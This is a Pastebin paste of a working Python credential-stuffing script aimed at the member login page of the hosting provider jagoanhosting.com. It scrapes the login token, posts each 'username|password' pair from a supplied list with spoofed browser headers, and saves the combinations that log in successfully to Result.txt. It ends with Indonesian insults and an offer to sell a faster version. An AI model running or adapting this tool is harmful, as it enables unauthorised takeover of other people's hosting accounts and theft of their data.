RHDyarAP

JGHOSTING ACCOUNT CHECKER

Oct 27th, 2022
2,933
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.02 KB | None | 0 0
  1. #Python3
  2. #Project Learn Curl
  3. #Copyright @RH Dyar AP 2022
  4. import requests,bs4
  5. import sys,os
  6. from time import sleep
  7. try:
  8.     os.system("pip install requests")
  9.     os.system("pip install bs4")
  10.     os.system("pip install sys")
  11.     os.system("pip install os")
  12.     os.system("pip install time")
  13. except:
  14.     pass    
  15. CLEAR_SCREEN = "\033[2J"
  16. RED = "\033[1;31m"
  17. BLUE  = "\033[34m"
  18. YELLOW = "\033[1;33m"
  19. CYAN  = "\033[36m"
  20. GREEN = "\033[1;32m"
  21. RESET = "\033[0m"
  22. BOLD    = "\033[m"
  23. WHITE = "\033[1;37m"
  24. H = 0
  25. def bacot(text):
  26.   for letter in text:
  27.     print(letter, end="")
  28.     sys.stdout.flush()
  29.     sleep(0.05)
  30.  
  31. def cek():
  32.     global H
  33.     x = requests.get('https://member.jagoanhosting.com/login')
  34.     b = bs4.BeautifulSoup(x.text, 'html.parser')
  35.     tok = b.find('input', {'name':"token"}).get("value")
  36.     d = input(f"{WHITE}List > {RESET}")
  37.     kuntul = open(d, 'r+',  encoding="utf-8").read().splitlines()
  38.  
  39.     for list in kuntul:
  40.         pisah = list.strip()
  41.         empas = pisah.split('|')
  42.  
  43.         usr = empas[0]
  44.         pas = empas[1]
  45.         account = usr+'|'+pas
  46.         c = requests.get('https://member.jagoanhosting.com/login')
  47.         headers = {
  48.             'authority': 'member.jagoanhosting.com',
  49.             'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  50.             'accept-language': 'en-US,en;q=0.9',
  51.             'cache-control': 'no-cache',
  52.             # Requests sorts cookies= alphabetically
  53.             # 'cookie': '_gcl_au=1.1.126936995.1666853612; _fbp=fb.1.1666853612475.1788336540; _gid=GA1.2.812658142.1666853612; _hjFirstSeen=1; _hjSession_793180=eyJpZCI6IjQ4MWU2MGZhLTAyNjYtNDA0OS04OTNlLTc5MjkzYTMzOTc2OSIsImNyZWF0ZWQiOjE2NjY4NTM2MTI2MDksImluU2FtcGxlIjp0cnVlfQ==; _hjAbsoluteSessionInProgress=0; _ga_YYQ4WX137P=GS1.1.1666853612.1.1.1666853614.58.0.0; _hjSessionUser_793180=eyJpZCI6ImYyNDJlYWZmLTQ3NzQtNWI0Ny1iYTMwLWFmY2VkNjcwOTJiZCIsImNyZWF0ZWQiOjE2NjY4NTM2MTI1NjcsImV4aXN0aW5nIjp0cnVlfQ==; _hjIncludedInPageviewSample=1; _hjIncludedInSessionSample=1; popup-60=%7B%22notShowAgain%22%3A0%2C%22lastTriggered%22%3A1666853984643%7D; WHMCSvLu9c8MtJ9yS=29ve9avck00lr1v1h8aadn6mr4; _ga=GA1.1.1380988530.1666853612; _ga_XLTX0RXV58=GS1.1.1666853615.1.1.1666854200.60.0.0',
  54.             'origin': 'https://member.jagoanhosting.com',
  55.             'pragma': 'no-cache',
  56.             'referer': 'https://member.jagoanhosting.com/login',
  57.             'sec-ch-ua': '"Google Chrome";v="107", "Chromium";v="107", "Not=A?Brand";v="24"',
  58.             'sec-ch-ua-mobile': '?0',
  59.             'sec-ch-ua-platform': '"Windows"',
  60.             'sec-fetch-dest': 'document',
  61.             'sec-fetch-mode': 'navigate',
  62.             'sec-fetch-site': 'same-origin',
  63.             'sec-fetch-user': '?1',
  64.             'upgrade-insecure-requests': '1',
  65.             'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36',
  66.         }
  67.  
  68.         data = {
  69.             'token': tok,
  70.             'username': usr,
  71.             'password': pas,
  72.             'rememberme': 'on',
  73.         }
  74.  
  75.         response = requests.post('https://member.jagoanhosting.com/login', cookies=c.cookies, headers=headers, data=data)
  76.         H += 1
  77.         if 'Login Details Incorrect. Please try again' in response.text:
  78.             print(f'[{H}]{account}{RED} =>salah {YELLOW}./JGHostRHD{RESET}')
  79.         else:
  80.             print(f'[{H}]{account}{GREEN} =>benar {YELLOW}./JGHostRHD{RESET}')
  81.             open('Result.txt', "a+").write(account+'\n')
  82.            
  83. try:            
  84.     os.system("cls")    
  85.     bacot(YELLOW+"RECODE HANYA UNTUK ORG TOLOL \n"+RESET)
  86.     bacot(CYAN+"        @RHD ext:2K22"+RESET)
  87.     print('')
  88.     cek()
  89.     print(BOLD+'Proses Done ! check your result in file Result.txt')
  90. except KeyboardInterrupt:
  91.     print(f"{RED}\nSTOPED")  
  92.     print(f"{RED}MAU CEPET?{RESET}")  
  93.     print(f"{RED}BAYAR GOBLOOK{RESET}")
  94.     print(f"{GREEN}PM on instgram {YELLOW}@rhdyar{RESET}")    
Advertisement
Add Comment
Please, Sign In to add comment